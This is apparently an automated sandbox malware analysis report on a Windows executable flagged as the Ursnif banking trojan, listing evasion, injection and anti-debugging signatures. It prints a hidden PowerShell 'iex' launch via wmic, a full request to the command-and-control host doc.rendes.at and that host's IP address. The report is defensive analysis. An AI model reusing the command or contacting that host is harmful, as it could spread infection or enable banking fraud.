Joe Sandbox Cloud Pro Analysis Report

Loading ...

Play interactive tourEdit tour

Analysis Report zbetcheckin_tracker_propan.exe

Overview

General Information

Joe Sandbox Version:23.0.0
Analysis ID:48850
Start date:03.10.2018
Start time:11:14:04
Joe Sandbox Product:Cloud
Overall analysis duration:0h 3m 39s
Hypervisor based Inspection enabled:true
Report type:full
Sample file name:zbetcheckin_tracker_propan.exe
Cookbook file name:default.jbs
Analysis system description:Windows 7 x64 HVM (Office 2010, IE11, FF 50.1, Chrome 54.0, Java 1.8.0_111, Adobe Reader DC 2015.02)
Number of analysed new started processes analysed:6
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies
  • HCA enabled
  • EGA enabled
  • HDC enabled
Analysis stop reason:Timeout
Detection:MAL
Classification:mal80.bank.evad.winEXE@4/6@1/2
EGA Information:
  • Successful, ratio: 100%
HDC Information:
  • Successful, ratio: 49.9% (good quality ratio 45.9%)
  • Quality average: 79.1%
  • Quality standard deviation: 31.4%
HCA Information:
  • Successful, ratio: 99%
  • Number of executed functions: 82
  • Number of non-executed functions: 77
Cookbook Comments:
  • Adjust boot time
  • Found application associated with file extension: .exe
Warnings:
Show All
  • Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe
  • Report size getting too big, too many NtDeviceIoControlFile calls found.

Detection

StrategyScoreRangeReportingDetection
Threshold800 - 100Report FP / FNmalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Multi AV Scanner detection for submitted fileShow sources
Source: zbetcheckin_tracker_propan.exevirustotal: Detection: 44%Perma Link
Antivirus detection for unpacked fileShow sources
Source: 1.2.zbetcheckin_tracker_propan.exe.2a0000.1.unpackAvira: Label: TR/Patched.Ren.Gen
Source: 1.2.zbetcheckin_tracker_propan.exe.280000.0.unpackAvira: Label: TR/Patched.Ren.Gen

Networking:

barindex
Creates a COM Internet Explorer objectShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_CLASSES\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_LOCAL_MACHINE\Software\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAsJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAsJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgidJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgidJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgIDJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgidJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgidJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgIDJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler32Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler32Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandlerJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandlerJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCOM instance created: 0002DF01-0000-0000-C000-000000000046Jump to behavior
Downloads filesShow sources
Source: C:\Program Files\Internet Explorer\iexplore.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FF8G8DG0Jump to behavior
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /wpapi/XlhPkWURsPeX9n/KdgCvOhJyTpK7WR6Gbx1E/EGIHNIQTXREQOMps/rPc05MTJOZBIhXE/5m9k63AYGwTnA9kVzH/_2BvJ_2Bu/qT25s_2Bd32_2FwmnoO7/VJJFaK5GX9ndvILO9eE/_2BmLslnLM1_2Bzpzpe8w6/7wEfNRxzT1pne/O97RG4NY/OoJbmGnwE2owDOmHjuVKPJu/as3X3i37Pg/GbArsAQV3tEr4y9/hOi HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: doc.rendes.atConnection: Keep-Alive
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: doc.rendes.at

E-Banking Fraud:

barindex
Detected Ursnif banking trojanShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00401C7A1_2_00401C7A

System Summary:

barindex
Contains functionality to create processes via WMIShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.1_2_002D42BD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.1_2_002D42BD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.1_2_002D42BD
Source: zbetcheckin_tracker_propan.exeBinary or memory string: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.
Starts Internet Explorer in hidden modeShow sources
Source: C:\Program Files\Internet Explorer\iexplore.exeWindow hidden: window name: IEFrameJump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeMemory allocated: 76BA0000 page execute and read and writeJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeMemory allocated: 76AA0000 page execute and read and writeJump to behavior
Contains functionality to call native functionsShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004022EC memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError,1_2_004022EC
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004018F0 NtMapViewOfSection,RtlNtStatusToDosError,1_2_004018F0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004012F6 LdrLoadDll,LdrGetProcedureAddress,NtProtectVirtualMemory,GetModuleHandleA,memcpy,1_2_004012F6
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004027FD GetModuleHandleA,GetCursorPos,GetModuleHandleA,GetModuleHandleA,NtGetContextThread,NtGetContextThread,1_2_004027FD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0040192F NtCreateSection,memset,RtlNtStatusToDosError,ZwClose,1_2_0040192F
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0040143E memcpy,memcpy,memcpy,NtUnmapViewOfSection,RtlNtStatusToDosError,CloseHandle,memset,1_2_0040143E
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00402749 NtGetContextThread,RtlNtStatusToDosError,1_2_00402749
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0040276A NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError,1_2_0040276A
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0040318D NtQueryVirtualMemory,1_2_0040318D
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00402F20 NtGetContextThread,1_2_00402F20
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004027AD NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError,1_2_004027AD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D4615 NtOpenProcess,NtOpenProcessToken,memcpy,NtClose,NtClose,1_2_002D4615
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002DE040 LdrLoadDll,LdrGetProcedureAddress,NtProtectVirtualMemory,NtProtectVirtualMemory,1_2_002DE040
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002DE297 NtMapViewOfSection,RtlNtStatusToDosError,1_2_002DE297
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002DE2D6 NtCreateSection,RtlNtStatusToDosError,NtClose,1_2_002DE2D6
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_00401800 NtMapViewOfSection,1_1_00401800
Detected potential crypto functionShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00402F6C1_2_00402F6C
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D92AC1_2_002D92AC
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D2BC61_2_002D2BC6
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004144491_2_00414449
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004160BE1_2_004160BE
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00413F071_2_00413F07
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0040E71E1_2_0040E71E
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0041498B1_2_0041498B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_004144491_1_00414449
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_00404A601_1_00404A60
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_0040D4F01_1_0040D4F0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_004160BE1_1_004160BE
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_00413F071_1_00413F07
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_0040E71E1_1_0040E71E
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_0041498B1_1_0041498B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_004151B91_1_004151B9
Found potential URLs in runtime VBA stringsShow sources
Source: C:\Program Files\Internet Explorer\iexplore.exeVBA Memory String: http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IE11SS&market={language}Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeVBA Memory String: http://doc.rendes.at/wpapi/XlhPkWURsPeX9n/KdgCvOhJyTpK7WR6Gbx1E/EGIHNIQTXREQOMps/rPc05MTJOZBIhXE/5m9k63AYGwTnA9kVzH/_2BvJ_2Bu/qT25s_2Bd32_2FwmnoO7/VJJFaK5GX9ndvILO9eE/_2BmLslnLM1_2Bzpzpe8w6/7wEfNRxzT1pne/O97RG4NY/OoJbmGnwE2owDOmHjuVKPJu/as3X3i37Pg/GbArsAQJump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exeVBA Memory String: http://www.bing.com/favicon.icoJump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exeVBA Memory String: http://www.bing.com/search?q={searchTerms}&FORM=IE8SRCJump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exeVBA Memory String: http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE11SRJump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exeVBA Memory String: http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IE11TRJump to behavior
PE file contains strange resourcesShow sources
Source: zbetcheckin_tracker_propan.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: zbetcheckin_tracker_propan.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Classification labelShow sources
Source: classification engineClassification label: mal80.bank.evad.winEXE@4/6@1/2
Contains functionality to instantiate COM classesShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D5457 CoCreateInstance,1_2_002D5457
Creates files inside the user directoryShow sources
Source: C:\Program Files\Internet Explorer\iexplore.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{F5B32550-C6EC-11E8-A1F8-44AC2DAE138A}.datJump to behavior
Creates temporary filesShow sources
Source: C:\Program Files\Internet Explorer\iexplore.exeFile created: C:\Users\user~1\AppData\Local\Temp\~DFB2457FAD379B77E9.TMPJump to behavior
PE file has an executable .text section and no other executable sectionShow sources
Source: zbetcheckin_tracker_propan.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Reads ini filesShow sources
Source: C:\Program Files\Internet Explorer\iexplore.exeFile read: C:\Users\desktop.iniJump to behavior
Reads software policiesShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Sample is known by AntivirusShow sources
Source: zbetcheckin_tracker_propan.exevirustotal: Detection: 44%
Spawns processesShow sources
Source: unknownProcess created: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe 'C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe'
Source: unknownProcess created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknownProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2296 CREDAT:275457 /prefetch:2
Source: C:\Program Files\Internet Explorer\iexplore.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2296 CREDAT:275457 /prefetch:2Jump to behavior
Uses an in-process (OLE) Automation serverShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior

Data Obfuscation:

barindex
Contains functionality to dynamically determine API callsShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_00412282 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,1_1_00412282
Uses code obfuscation techniques (call, push, ret)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00402F5B push ecx; ret 1_2_00402F6B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00407210 push ebp; ret 1_2_00407222
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D929B push ecx; ret 1_2_002D92AB
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_0040D4D1 push ecx; ret 1_1_0040D4E4

Hooking and other Techniques for Hiding and Protection:

barindex
Writes registry values via WMIShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeWMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeWMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeWMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeWMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeWMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue
Disables application error messsages (SetErrorMode)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion:

barindex
Found evasive API chain (may stop execution after checking locale)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeEvasive API call chain: GetLocaleInfo, StrStr, ExitProcessgraph_1-7457
Tries to detect sandboxes / dynamic malware analysis system (cursor check)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004010ED1_2_004010ED
May sleep (evasive loops) to hinder dynamic analysisShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe TID: 1376Thread sleep count: 117 > 30Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe TID: 1376Thread sleep time: -7020000s >= -60000sJump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe TID: 2096Thread sleep time: -60000s >= -60000sJump to behavior
Sample execution stops while process was sleeping (likely an evasion)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeLast function: Thread delayed
Program exit pointsShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeAPI call chain: ExitProcess graph end nodegraph_1-7347

Anti Debugging:

barindex
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeSystem information queried: KernelDebuggerInformationJump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_004012F6 LdrLoadDll,LdrGetProcedureAddress,NtProtectVirtualMemory,GetModuleHandleA,memcpy,1_2_004012F6
Contains functionality to check if a debugger is running (IsDebuggerPresent)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0040FE9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_0040FE9A
Contains functionality to dynamically determine API callsShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_00412282 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,1_1_00412282
Contains functionality to read the PEBShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0025052B mov ebx, dword ptr fs:[00000030h]1_2_0025052B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00250000 mov eax, dword ptr fs:[00000030h]1_2_00250000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00250000 mov ebx, dword ptr fs:[00000030h]1_2_00250000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002506F5 mov eax, dword ptr fs:[00000030h]1_2_002506F5
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002506F5 mov ecx, dword ptr fs:[00000030h]1_2_002506F5
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00250AFD mov eax, dword ptr fs:[00000030h]1_2_00250AFD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00290000 mov eax, dword ptr fs:[00000030h]1_2_00290000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00290000 mov ecx, dword ptr fs:[00000030h]1_2_00290000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00290408 mov eax, dword ptr fs:[00000030h]1_2_00290408
Contains functionality which may be used to detect a debugger (GetProcessHeap)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_0040C832 GetStartupInfoA,GetProcessHeap,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetCommandLineA,1_1_0040C832
Contains functionality to register its own exception handlerShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_0040FE9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_0040FE9A
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00413BEE SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,1_2_00413BEE
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_0040CA26 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_1_0040CA26
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_0040FE9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_1_0040FE9A
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_1_00413BEE SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,1_1_00413BEE

HIPS / PFW / Operating System Protection Evasion:

barindex
May try to detect the Windows Explorer process (often used for injection)Show sources
Source: zbetcheckin_tracker_propan.exe, 00000001.00000002.3011712104.0000000000880000.00000002.sdmpBinary or memory string: Program Manager
Source: zbetcheckin_tracker_propan.exe, 00000001.00000002.3011712104.0000000000880000.00000002.sdmpBinary or memory string: Shell_TrayWnd
Source: zbetcheckin_tracker_propan.exe, 00000001.00000002.3011712104.0000000000880000.00000002.sdmpBinary or memory string: !Progman

Language, Device and Operating System Detection:

barindex
Contains functionality locales information (e.g. system language)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,1_2_0040270C
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: GetLocaleInfoA,1_2_004134B0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: GetLocaleInfoA,GetModuleHandleA,GetModuleHandleA,1_1_004026F0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: GetLocaleInfoA,1_1_004134B0
Contains functionality to query CPU information (cpuid)Show sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D46DF cpuid 1_2_002D46DF
Contains functionality to query local / system timeShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D1C3C GetSystemTimeAsFileTime,HeapFree,1_2_002D1C3C
Contains functionality to query the account / user nameShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_002D46DF GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,1_2_002D46DF
Contains functionality to query windows versionShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeCode function: 1_2_00401B9B CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,1_2_00401B9B
Queries the cryptographic machine GUIDShow sources
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
behaviorgraph top1 signatures2 2 Behavior Graph ID: 48850 Sample: zbetcheckin_tracker_propan.exe Startdate: 03/10/2018 Architecture: WINDOWS Score: 80 19 Multi AV Scanner detection for submitted file 2->19 21 Contains functionality to create processes via WMI 2->21 6 zbetcheckin_tracker_propan.exe 2->6         started        9 iexplore.exe 4 36 2->9         started        process3 dnsIp4 23 Detected Ursnif banking trojan 6->23 25 Contains functionality to create processes via WMI 6->25 27 Found evasive API chain (may stop execution after checking locale) 6->27 31 3 other signatures 6->31 15 192.168.2.255 unknown unknown 9->15 29 Starts Internet Explorer in hidden mode 9->29 12 iexplore.exe 9 9->12         started        signatures5 process6 dnsIp7 17 doc.rendes.at 47.254.153.156, 49233, 49234, 80 CNNIC-ALIBABA-CN-NET-APAlibabaChinaTechnologyCoLtd United States 12->17

Simulations

Behavior and APIs

TimeTypeDescription
11:16:06API Interceptor149x Sleep call for process: zbetcheckin_tracker_propan.exe modified

Antivirus Detection

Initial Sample

SourceDetectionScannerLabelLink
zbetcheckin_tracker_propan.exe44%virustotalBrowse
zbetcheckin_tracker_propan.exe11%metadefenderBrowse

Dropped Files

No Antivirus matches

Unpacked PE Files

SourceDetectionScannerLabelLink
1.2.zbetcheckin_tracker_propan.exe.2a0000.1.unpack100%AviraTR/Patched.Ren.Gen
1.2.zbetcheckin_tracker_propan.exe.280000.0.unpack100%AviraTR/Patched.Ren.Gen

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.